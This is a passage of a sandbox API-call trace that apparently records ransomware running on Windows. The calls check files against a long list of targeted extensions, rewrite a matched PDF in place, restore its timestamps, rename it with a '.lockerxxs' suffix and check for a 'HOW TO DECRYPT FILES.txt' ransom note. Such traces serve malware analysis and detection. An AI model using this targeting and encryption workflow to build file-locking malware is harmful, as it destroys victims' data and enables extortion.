10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.798] lstrlenA (lpString="*.qbj") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.798] lstrlenA (lpString="*.ofx") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.798] lstrlenA (lpString="*.qif") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.798] lstrlenA (lpString="*.mye") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.798] lstrlenA (lpString="*.mbox") returned 6 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.798] lstrlenA (lpString="*.eml") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.798] lstrlenA (lpString="*.pst") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.798] lstrlenA (lpString="*.ost") returned 5 [0068.798] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.799] lstrlenA (lpString="*.idx") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.799] lstrlenA (lpString="*.dbx") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.799] lstrlenA (lpString="*.sql") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.799] lstrlenA (lpString="*.mdb") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.799] lstrlenA (lpString="*.fdb") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.799] lstrlenA (lpString="*.wab") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.799] lstrlenA (lpString="*.dat") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.799] lstrlenA (lpString="*.txt") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.799] lstrlenA (lpString="*.jpeg") returned 6 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.799] lstrlenA (lpString="*.jpg") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.799] lstrlenA (lpString="*.png") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.799] lstrlenA (lpString="*.php") returned 5 [0068.799] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.799] lstrlenA (lpString="*.cs") returned 4 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.800] lstrlenA (lpString="*.cpp") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.800] lstrlenA (lpString="*.rar") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.800] lstrlenA (lpString="*.zip") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.800] lstrlenA (lpString="*.html") returned 6 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.800] lstrlenA (lpString="*.htm") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.800] lstrlenA (lpString="*.xlsx") returned 6 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.800] lstrlenA (lpString="*.xls") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.800] lstrlenA (lpString="*.mp4") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.800] lstrlenA (lpString="*.ppt") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.800] lstrlenA (lpString="*.pptx") returned 6 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.800] lstrlenA (lpString="*.doc") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.800] lstrlenA (lpString="*.dot") returned 5 [0068.800] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.800] lstrlenA (lpString="*.docx") returned 6 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.801] lstrlenA (lpString="*.7z") returned 4 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.801] lstrlenA (lpString="*.tar") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.801] lstrlenA (lpString="*.bz2") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.801] lstrlenA (lpString="*.gz") returned 4 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.801] lstrlenA (lpString="*.mkv") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.801] lstrlenA (lpString="*.eml") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.801] lstrlenA (lpString="*.msg") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.801] lstrlenA (lpString="*.edb") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.801] lstrlenA (lpString="*.accdb") returned 7 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.801] lstrlenA (lpString="*.odb") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.801] lstrlenA (lpString="*.java") returned 6 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.801] lstrlenA (lpString="*.asm") returned 5 [0068.801] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.801] lstrlenA (lpString="*.pfx") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.802] lstrlenA (lpString="*.pem") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.802] lstrlenA (lpString="*.p12") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.802] lstrlenA (lpString="*.gpg") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.802] lstrlenA (lpString="*.vsd") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.802] lstrlenA (lpString="*.odg") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.802] lstrlenA (lpString="*.raw") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.802] lstrlenA (lpString="*.nef") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.802] lstrlenA (lpString="*.svg") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.802] lstrlenA (lpString="*.psd") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.802] lstrlenA (lpString="*.vmx") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.802] lstrlenA (lpString="*.vmdk") returned 6 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.802] lstrlenA (lpString="*.vdi") returned 5 [0068.802] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.803] lstrlenA (lpString="*.lay6") returned 6 [0068.803] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.803] lstrlenA (lpString="*.mpeg") returned 6 [0068.803] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.803] lstrlenA (lpString="*.djvu") returned 6 [0068.803] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.803] lstrlenA (lpString="*.tiff") returned 6 [0068.803] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.803] lstrlenA (lpString="*.backup") returned 8 [0068.803] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.803] lstrlenA (lpString="*.pdf") returned 5 [0068.804] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" [0068.805] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" [0068.805] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf." [0068.805] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.lockerxxs" [0068.805] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.805] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11426 [0068.805] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4)) returned 1 [0068.805] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.806] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x11400, lpOverlapped=0x0) returned 1 [0068.810] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf") returned="AdobeID.pdf" [0068.810] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.810] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x11400, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x11400, lpOverlapped=0x0) returned 1 [0068.811] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.811] CloseHandle (hObject=0x94) returned 1 [0068.817] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf.lockerxxs")) returned 1 [0068.821] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f09, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.821] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.821] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.821] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.821] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.821] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf") returned="AdobeID.pdf" [0068.821] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\" [0068.821] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\") returned="" [0068.821] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO DECRYPT FILES.txt" [0068.821] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\how to decrypt files.txt")) returned 0x20 [0068.821] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" [0068.821] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.821] lstrlenA (lpString="*.ems") returned 5 [0068.821] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.822] lstrlenA (lpString="*.db") returned 4 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.822] lstrlenA (lpString="*.dbf") returned 5 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.822] lstrlenA (lpString="*.myox") returned 6 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.822] lstrlenA (lpString="*.myo") returned 5 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.822] lstrlenA (lpString="*.qbw") returned 5 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.822] lstrlenA (lpString="*.qbb") returned 5 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.822] lstrlenA (lpString="*.qbm") returned 5 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.822] lstrlenA (lpString="*.qbo") returned 5 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.822] lstrlenA (lpString="*.qbx") returned 5 [0068.822] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.822] lstrlenA (lpString="*.qba") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.823] lstrlenA (lpString="*.qby") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.823] lstrlenA (lpString="*.qbj") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.823] lstrlenA (lpString="*.ofx") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.823] lstrlenA (lpString="*.qif") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.823] lstrlenA (lpString="*.mye") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.823] lstrlenA (lpString="*.mbox") returned 6 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.823] lstrlenA (lpString="*.eml") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.823] lstrlenA (lpString="*.pst") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.823] lstrlenA (lpString="*.ost") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.823] lstrlenA (lpString="*.idx") returned 5 [0068.823] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.823] lstrlenA (lpString="*.dbx") returned 5 [0068.824] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.824] lstrlenA (lpString="*.sql") returned 5 [0068.824] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.824] lstrlenA (lpString="*.mdb") returned 5 [0068.824] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.824] lstrlenA (lpString="*.fdb") returned 5 [0068.824] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.824] lstrlenA (lpString="*.wab") returned 5 [0068.824] 